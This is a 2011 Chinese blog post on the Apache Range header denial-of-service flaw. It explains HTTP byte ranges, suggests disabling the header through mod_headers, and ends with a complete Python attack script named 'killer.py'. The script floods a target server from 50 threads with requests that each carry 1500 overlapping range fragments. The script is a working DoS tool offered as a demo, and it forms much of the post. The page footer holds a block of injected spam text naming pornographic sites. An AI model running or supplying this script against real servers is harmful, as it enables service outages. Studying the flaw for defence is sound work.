<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    stone2083

    Apache Range Header DOS攻擊 介紹

    背景
    http://lwn.net/Articles/456268/


    Http協議之Byte Range
    http://www.ietf.org/rfc/rfc2616.txt (14.35章節)
    14.35   Range ....................................................138
       14.35.1    Byte Ranges ...........................................138
       14.35.2    Range Retrieval Requests ..............................139

    Apache演示
    1. 新建內容為abcdefghijk的txt頁面
    2. 不帶Byte Range Header的請求,請看:

    3.帶Byte Range Header的請求,請看:


    理論上,一旦帶上N個Range分片,Apache單次請求壓力就是之前的N倍(實際少于N),需要做大量的運算和字符串處理。故構建無窮的分片,單機DOS攻擊,就能搞垮Apache Server。

    解決方案
    1. 等待Apache修復,不過Byte Range是規范要求的,不能算是真正意義上的BUG,不知道會如何修復這個問題
    2. 對于不是下載站點來說,建議禁用Byte Range,具體做法:
    2.1 安裝mod_headers模塊
    2.2 配置文件加上: RequestHeader unset Range

    最后附上一個攻擊腳本,做演示
     1 # encoding:utf8
     2 #!/usr/bin/env python
     3 import socket
     4 import threading
     5 import sys
     6 
     7 headers = '''
     8 HEAD / HTTP/1.1
     9 Host: %s
    10 Range: bytes=%s
    11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    12 
    13 '''
    14 
    15 #fragment count and loop count
    16 COUNT = 1500
    17 #concurrent count
    18 PARALLEL = 50
    19 PORT = 80
    20 
    21 def req(server):
    22     try:
    23         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    24         s.connect((server, PORT))
    25         s.send(headers % (server, fragment(COUNT)))
    26         s.close()
    27     except:
    28         print 'Server Seems Weak. Please Stop.'
    29 
    30 def fragment(n):
    31     ret = ''
    32     for i in xrange(n):
    33         if i == 0:
    34             ret = ret + '0-' + str(i + 1)
    35         else:
    36             ret = ret + ',0-' + str(i + 1)
    37     return ret
    38 
    39 def run(server):
    40     for _ in xrange(COUNT):
    41         req(server)
    42 
    43 if len(sys.argv) != 2:
    44     print 'killer.py $server'
    45     sys.exit(0)
    46 
    47 #run
    48 srv = sys.argv[1]
    49 for _ in xrange(PARALLEL):
    50     threading.Thread(target=run, args=(srv,)).start()
    51 

    posted on 2011-08-29 10:35 stone2083 閱讀(4301) 評論(0)  編輯  收藏 所屬分類: net


    只有注冊用戶登錄后才能發表評論。


    網站導航:
     
    主站蜘蛛池模板: 99久久精品日本一区二区免费| 亚洲欧美日韩中文高清www777 | 看成年女人免费午夜视频| 亚洲一卡2卡3卡4卡乱码 在线 | 国产日产成人免费视频在线观看| 成人免费的性色视频| 91大神在线免费观看| 久久久99精品免费观看| 国产成人精品一区二区三区免费| 在线毛片片免费观看| 国内永久免费crm系统z在线| a级特黄毛片免费观看| 美女被cao网站免费看在线看| 国内精品久久久久影院免费 | 亚洲精品伊人久久久久| 亚洲国产成人精品激情| 亚洲男人天堂2018av| 亚洲成av人片在线天堂无| 在线播放亚洲精品| 免费无码又爽又黄又刺激网站| 污污视频免费观看网站| 皇色在线免费视频| 无码日韩精品一区二区三区免费 | 美女黄色免费网站| 一级特黄色毛片免费看| 黄色短视频免费看| 久久ww精品w免费人成| 日本在线高清免费爱做网站| 在线观看免费大黄网站| 亚洲国产精品不卡毛片a在线| 国产91精品一区二区麻豆亚洲| 国产成A人亚洲精V品无码| 亚洲国产高清视频在线观看| 国产亚洲精aa在线看| 美女免费精品高清毛片在线视 | 亚洲午夜一区二区电影院| 亚洲成a人片在线观看天堂无码| 免费看黄网站在线看 | 亚洲成a人片在线观看天堂无码 | 激情无码亚洲一区二区三区 | 一级毛片不卡免费看老司机|